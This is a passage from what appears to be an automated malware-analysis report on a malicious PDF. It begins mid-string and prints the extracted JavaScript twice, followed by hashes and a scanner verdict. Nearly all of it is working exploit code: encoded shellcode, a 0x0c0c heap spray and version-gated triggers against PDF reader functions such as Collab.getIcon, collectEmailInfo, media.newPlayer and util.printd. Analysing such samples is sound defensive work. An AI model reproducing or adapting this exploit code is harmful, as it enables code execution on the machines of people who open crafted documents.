c4a%u4a48%u4d42%u4d4d%u4d41%u4449%u4c48%u4e46%u4d42%u4d4d%u4d41%u4a49%u4448%u4a46%u4d42%u4d4d%u4d41%u4449%u4c4a%u4646%u4d42%u4d4d%u4d41%u4a49%u4c49%u5048%u4e42%u4d4d%u4d41%u4d4e%u4f4e%u434b%u4d41%u504e%u424e%u4f4e%u4b4e%u4844%u4c48%u4e43%u4d42%u4d4d%u4d41%u4844%u4c47%u4248%u4d42%u4d4d%u4d41%u4441%u4d45%u474c%u4849%u4d4a%u4d4a%u4449%u4c48%u4e46%u4d42%u4d4d%u4d41%u4449%u4f41%u4a40%u424f%u4d4e%u414d%u4f4d%u414c%u4941%u4449%u4c48%u4646%u4d42%u4d4d%u4d41%u4f4d%u4643%u4b4c%u4844%u4844%u4844%u4449%u4c48%u4e46%u4d42%u4d4d%u4d41%u4c40%u4645%u4348%u4344%u4444%u4944%u4a44%u4443%u4541%u4449%u4f41%u4440%u4b45%u414c%u4941%u4f4d%u4e4d%u4440%u4a45%u4b4c%u4144%u4643%u4b4e%u4844%u4844%u4844%u4d4a%u4c49%u4f45%u4141%u4449%u4940%u4143%u4d4a%u4d4a%u4d4a%u4648%u4d41%u4341%u4d41%u4d41%u4147%u4b43%u4a44%u4449%u4448%u4e46%u4d42%u4d4d%u4d41%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4c45%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u4c45%u4d4a%u4d4a%u4d4a%u4d4a%u4d4a%u434b%u4d41%u4844%u4c4a%u4645%u4d42%u4d4d%u4d41%u4c45%u4d4b%u4449%u4c48%u4a45%u4d42%u4d4d%u4d41%u4c41%u4f4c%u4940%u4449%u4f4c%u454c%u4c41%u4c48%u4a45%u4d42%u4d4d%u4d41%u4f4e%u4449%u474d%u4542%u4449%u4f4c%u4d4f%u4c41%u4c48%u4a45%u4d42%u4d4d%u4d41%u4c40%u4d45%u4c40%u4b46%u4f4e%u4449%u4f40%u4c41%u4c48%u4a45%u4d42%u4d4d%u4d41%u4947%u4540%u4d43%u414c%u5041%u4e45%u4345%u4a41%u4c41%u4d46%u4443%u4144%u4440%u5042%u414c%u4641%u474e%u4c49%u4f45%u4141%u464d%u414c%u4240%u4443%u4946%u474e%u4449%u4f46%u474e%u444f%u4f4e%u4d4f%u444f%u4c4a%u4a45%u4d42%u4d4d%u4d41%u4e46%u4343%u4c41%u4f4e%u414f%u4c41%u4c4a%u4a45%u4d42%u4d4d%u4d41%u4841%u5048%u4b41%u4e45%u4d43%u4b41%u4c41%u4f4d%u4942%u4c41%u4c49%u4a45%u4d42%u4d4d%u4d41%u4449%u4d41%u4c41%u4c49%u4a45%u4d42%u4d4d%u4d41%u4649%u5041%u4443%u4e41%u474e%u4e4b%u4c45%u3030";
function exp8(dd,eee) {
var spd = "%u000a%u000a%u000a%u000a";
var esc = dd;
var esa = eee;
var spr = esc(urpl("%",spd));
var of = repeat(4096, spr);
var a=["\x5f\x4e\x2e\x62\x75\x6e\x64\x6c\x65"];
eee["\x67\x65\x74\x49\x63\x6f\x6e"](of+a[0x0]);}
function exp9(dd) {	
var esprpl=dd;
var sc = esprpl(urpl("%",s));
var ret = esprpl(urpl("%","%u0c0c%u0c0c"));
var sc2 = esprpl(urpl("%","%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u6b62%u546e%u596a%u6c76%u506a%u5470%u666f%u7441%u4356%u586c%u726d%u4153%u4b4a%u624c%u7948%u4659%u6156%u7761%u7051%u7842%u5342%u4a64%u6365%u7464%u4972%u5766%u534d%u7569"));
var len = 0x8000;
var ccc = 0x2000;	
while(ret.length <= len) ret+=ret;
memory=new Array();
var xx1 = "(0,len- s.length);";
var xx2 = "ring";
var xx3 = "ret=ret.subst";
eval(xx3+xx2+xx1);
var k=0;
while(k<ccc){memory[k]= ret + sc;k++;}
util.printd("jbBFAXmYeqFJUPOXePHkjhAybWoldsgWfmBw", new Date());
util.printd("noCXCPHRXLpZKyNpKJJWxBkvpjKLYwpMfmCG", new Date());
try{eval("this.media.newPlayer(null)");}
catch(e) {}
util.printd(sc2, new Date());
}
function start(dd,eee) {
var esprpl=dd;var sc = esprpl(urpl("%",s));
if (app.viewerVersion >= 7.0)
plin = repeat(1124,esprpl(urpl("%","%u0b0b%u0028%u06eb%u06eb"))) + esprpl(urpl("%","%u0b0b%u0028%u0aeb%u0aeb")) + esprpl(urpl("%","%u4346%u4a4b")) + repeat(122,esprpl(urpl("%","%u0b0b%u0028%u06eb%u06eb"))) + esprpl(urpl("%","%u4a4b%u4748%u4a4b%u4748%u4a4b%u4748")) + sc + repeat(1256,esprpl(urpl("%","%u4a4b%u4748")));
else 
{
ef6 =  esprpl(urpl("%","%ueeeb%ueeeb")) + esprpl(urpl("%","%u0b0b%u0019"));
plin = repeat(80,esprpl(urpl("%","%u4141%u4141"))) + sc + repeat(80,esprpl(urpl("%","%u4241%u4142")))+ esprpl(urpl("%","%uf7e9%ufff9"))
+esprpl(urpl("%","%uffff%uffff")) + esprpl(urpl("%","%uf6eb%uf4eb")) + esprpl(urpl("%","%uf2eb%uf1eb"));
while ((plin.length % 8) != 0) 
plin = esprpl(urpl("%","%u4141")) + plin;
plin += repeat(2626,ef6);
}
if (app.viewerVersion >= 6.0)	{
var a=[];
eee["collectEmailInfo"]({subj:a[0x0],msg:plin});}
}
function fun1(a,b){
if(a>b)
{fun1(a,b);}
else
{fun1(a,b);}}
var bb = Collab;
var ver = app.viewerVersion;
if(ver>=20.0)
{fun1(2,3);}
else
{if(ver>=18.0){fun1(4,3);}}
if (((ver >= 9.1)&& (ver<9.3)) || ((ver > 8.102) && (ver < 9.0))){
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("exp9(unescape)",1200);
else
exp9(unescape);
}
else
{
if(ver >= 8.0){
xxsc(unescape,s);
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("exp8(unescape,bb)",1200);
else
exp8(unescape,bb);
}
else 
{
if(ver >= 6.0){
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("start(unescape,bb);",1200);
else
start(unescape,bb);;
}
else
while(1){};		
}
}
generic_stage_recovery_004.js deobfuscated-js generic stage recovery split-literal-normalize -> marker-XX-to-%u from decompressed stream at 0x2A3F at offset 0x2A3F 2307 bytes
SHA-256: 478fbc01c1adc9086a3981240b76d605ac0028892a29473d8992c196e9ee1961
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u6b62%u546e%u596a%u6c76%u506a%u5470%u666f%u7441%u4356%u586c%u726d%u4153%u4b4a%u624c%u7948%u4659%u6156%u7761%u7051%u7842%u5342%u4a64%u6365%u7464%u4972%u5766%u534d%u7569"));
var len = 0x8000;
var ccc = 0x2000;	
while(ret.length <= len) ret+=ret;
memory=new Array();
var xx1 = "(0,len- s.length);";
var xx2 = "ring";
var xx3 = "ret=ret.subst";
eval(xx3+xx2+xx1);
var k=0;
while(k<ccc){memory[k]= ret + sc;k++;}
util.printd("jbBFAXmYeqFJUPOXePHkjhAybWoldsgWfmBw", new Date());
util.printd("noCXCPHRXLpZKyNpKJJWxBkvpjKLYwpMfmCG", new Date());
try{eval("this.media.newPlayer(null)");}
catch(e) {}
util.printd(sc2, new Date());
}
function start(dd,eee) {
var esprpl=dd;var sc = esprpl(urpl("%",s));
if (app.viewerVersion >= 7.0)
plin = repeat(1124,esprpl(urpl("%","%u0b0b%u0028%u06eb%u06eb"))) + esprpl(urpl("%","%u0b0b%u0028%u0aeb%u0aeb")) + esprpl(urpl("%","%u4346%u4a4b")) + repeat(122,esprpl(urpl("%","%u0b0b%u0028%u06eb%u06eb"))) + esprpl(urpl("%","%u4a4b%u4748%u4a4b%u4748%u4a4b%u4748")) + sc + repeat(1256,esprpl(urpl("%","%u4a4b%u4748")));
else 
{
ef6 =  esprpl(urpl("%","%ueeeb%ueeeb")) + esprpl(urpl("%","%u0b0b%u0019"));
plin = repeat(80,esprpl(urpl("%","%u4141%u4141"))) + sc + repeat(80,esprpl(urpl("%","%u4241%u4142")))+ esprpl(urpl("%","%uf7e9%ufff9"))
+esprpl(urpl("%","%uffff%uffff")) + esprpl(urpl("%","%uf6eb%uf4eb")) + esprpl(urpl("%","%uf2eb%uf1eb"));
while ((plin.length % 8) != 0) 
plin = esprpl(urpl("%","%u4141")) + plin;
plin += repeat(2626,ef6);
}
if (app.viewerVersion >= 6.0)	{
var a=[];
eee["collectEmailInfo"]({subj:a[0x0],msg:plin});}
}
function fun1(a,b){
if(a>b)
{fun1(a,b);}
else
{fun1(a,b);}}
var bb = Collab;
var ver = app.viewerVersion;
if(ver>=20.0)
{fun1(2,3);}
else
{if(ver>=18.0){fun1(4,3);}}
if (((ver >= 9.1)&& (ver<9.3)) || ((ver > 8.102) && (ver < 9.0))){
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("exp9(unescape)",1200);
else
exp9(unescape);
}
else
{
if(ver >= 8.0){
xxsc(unescape,s);
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("exp8(unescape,bb)",1200);
else
exp8(unescape,bb);
}
else 
{
if(ver >= 6.0){
var inBrowser = this.external;
if (inBrowser)
var shaft = app.setTimeOut("start(unescape,bb);",1200);
else
start(unescape,bb);;
}
else
while(1){};		
}
}
objstm_0029_00.bin pdf-objstm-decoded PDF /ObjStm 29 0 obj (inflated) 457 bytes
SHA-256: dc0fc170b1d5882fa1a67739f64e17705521fdd85dd8316c748159eb3ee59b0c
objstm_0047_00.bin pdf-objstm-decoded PDF /ObjStm 47 0 obj (inflated) 32 bytes
SHA-256: fb30dcc1b952dafe4c4dfef9cc7c3163f6cc551f3579bbfec1223b6e550c625b

Open this report in the interactive analyzer, or submit your own file for analysis.